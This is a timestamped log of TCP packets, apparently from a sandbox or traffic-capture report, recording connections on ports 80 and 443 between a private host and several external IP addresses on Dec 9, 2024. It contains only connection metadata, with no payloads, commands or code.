Dec 9, 2024 23:09:38.735002995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.735747099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.735842943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.736577988 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.736793041 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.737421989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.737474918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.738291025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.738426924 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.739164114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.739268064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.740022898 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.740132093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.740840912 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.740916014 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.741708994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.741781950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.742538929 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.742686033 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.743453026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.743532896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.744255066 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.744469881 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.745081902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.745265961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.745913982 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.746254921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.746759892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.746807098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.747603893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.747719049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.747736931 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.747828007 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.747848034 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.747879982 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.747987032 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.748018980 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.748034000 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.748054981 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.748446941 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.748559952 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.749304056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.749403954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.750176907 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:38.763348103 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:38.869632006 CET	443	49859	35.190.72.216	192.168.2.4
Dec 9, 2024 23:09:38.880331039 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:38.927234888 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:38.927248001 CET	443	49859	35.190.72.216	192.168.2.4
Dec 9, 2024 23:09:38.927357912 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:38.927367926 CET	443	49859	35.190.72.216	192.168.2.4
Dec 9, 2024 23:09:38.928083897 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:38.969027996 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:38.969043970 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:38.969103098 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:38.969371080 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:38.969381094 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.172028065 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.172096014 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.173213959 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.173219919 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.173424006 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.174719095 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.174748898 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.174767017 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.884361982 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.884427071 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.887880087 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.889069080 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.889079094 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.889091015 CET	49861	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:39.889095068 CET	443	49861	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:39.890284061 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:40.009630919 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:40.016633034 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:40.017160892 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:40.111454010 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:40.136413097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:40.181551933 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:40.181977034 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:40.184201956 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:40.184206009 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:40.184401989 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:40.186279058 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:40.186947107 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:40.186980963 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:40.188370943 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:40.188379049 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:40.230803013 CET	80	49870	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:40.230989933 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:40.244571924 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:40.363931894 CET	80	49870	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:41.218179941 CET	49835	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:41.218427896 CET	49874	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:41.337821960 CET	80	49874	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:41.337881088 CET	80	49835	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:41.337913036 CET	49874	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:41.337929964 CET	49835	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:41.338077068 CET	49874	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:41.348684072 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.348786116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.348797083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.348881960 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.348922968 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349006891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349016905 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349025965 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349035978 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349122047 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.349412918 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349423885 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.349502087 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.365638971 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:41.365711927 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:41.371330976 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:41.372457981 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:41.372886896 CET	49864	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:41.372891903 CET	443	49864	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:41.457386017 CET	80	49874	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:41.468508005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.468518972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.478785038 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.541122913 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.541376114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.541428089 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.545277119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.545380116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.545433044 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.553699970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.553843021 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.553891897 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.562130928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.562232018 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.562279940 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.570560932 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.570657969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.571116924 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.574444056 CET	80	49870	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:41.574503899 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:41.576658964 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:41.578892946 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.579026937 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.579134941 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.587575912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.587740898 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.587790012 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.595797062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.595895052 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.595947981 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.604177952 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.604321957 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.604394913 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.612565994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.612654924 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.612703085 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.620989084 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.621064901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.621330023 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.637495995 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:41.637526989 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:41.637586117 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:41.638951063 CET	49875	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:41.638964891 CET	443	49875	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:41.661827087 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.695951939 CET	80	49870	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:41.733314037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.733488083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.734179974 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.735862970 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.735873938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.740896940 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.741012096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.746011972 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.746073961 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.748239994 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.748359919 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.750989914 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.751178980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.753509045 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.755820036 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.755914927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.755960941 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.760653973 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.760729074 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.761394024 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.765535116 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.765607119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.765649080 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.770339966 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.770441055 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.775218964 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.775331020 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.776099920 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.776127100 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.780097008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.780201912 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.780246973 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.784928083 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.785048008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.785089970 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.789861917 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.789942980 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.790007114 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.794626951 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.794739008 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.794800997 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.799480915 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.799580097 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.803395987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.804347038 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.804461002 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.804613113 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.809189081 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.809267044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.811861038 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.814060926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.814177990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.814244986 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.818869114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.835478067 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:41.835490942 CET	443	49876	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:41.841057062 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:41.844969034 CET	49876	443	192.168.2.4	142.250.181.78
Dec 9, 2024 23:09:41.844983101 CET	443	49876	142.250.181.78	192.168.2.4
Dec 9, 2024 23:09:41.907340050 CET	49879	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:41.925515890 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.925584078 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.925681114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.927483082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.927609921 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.930067062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.931437969 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.931523085 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.933186054 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.935317993 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.935374975 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.935385942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.939178944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.939248085 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.939351082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.942943096 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.942992926 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.942996025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.946621895 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.946687937 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.946691990 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.950228930 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.950342894 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.950403929 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.953946114 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.953993082 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.954044104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.957570076 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.957618952 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.957684040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.961232901 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.961283922 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.961297989 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.964886904 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.965037107 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.967407942 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.968601942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.968732119 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.969540119 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.972299099 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.972347021 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.972377062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.975872040 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.976075888 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.979651928 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.979788065 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.979836941 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.983205080 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.983325005 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.986808062 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.986861944 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.987616062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.988076925 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.990466118 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.990514994 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.994143963 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.994247913 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.995871067 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:41.997759104 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:41.997967958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.001431942 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.001499891 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.002935886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.005086899 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.005201101 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.007322073 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.008743048 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.008789062 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.008894920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.012346983 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.012388945 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.012465000 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.016031981 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.016081095 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.016129971 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.019701958 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.019793987 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.020703077 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.023343086 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.023394108 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.023530960 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.026809931 CET	80	49879	34.107.221.82	192.168.2.4
Dec 9, 2024 23:09:42.026925087 CET	49879	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:42.027051926 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.027096987 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.027167082 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.027201891 CET	49879	80	192.168.2.4	34.107.221.82
Dec 9, 2024 23:09:42.030616045 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.030664921 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.030687094 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.034301996 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.034360886 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.034442902 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.037972927 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.038019896 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.038089037 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.038409948 CET	80	49870	185.215.113.206	192.168.2.4
Dec 9, 2024 23:09:42.038474083 CET	49870	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:42.041769028 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.041872025 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.045270920 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.046310902 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.112644911 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:42.112672091 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:42.112735033 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:42.113042116 CET	49880	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:42.113054037 CET	443	49880	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:42.117615938 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.117799044 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.117921114 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.119179964 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.119306087 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.119359016 CET	49868	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:42.121555090 CET	80	49868	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:42.121694088 CET	80	49868	185.215.113.16	192.168.2.4
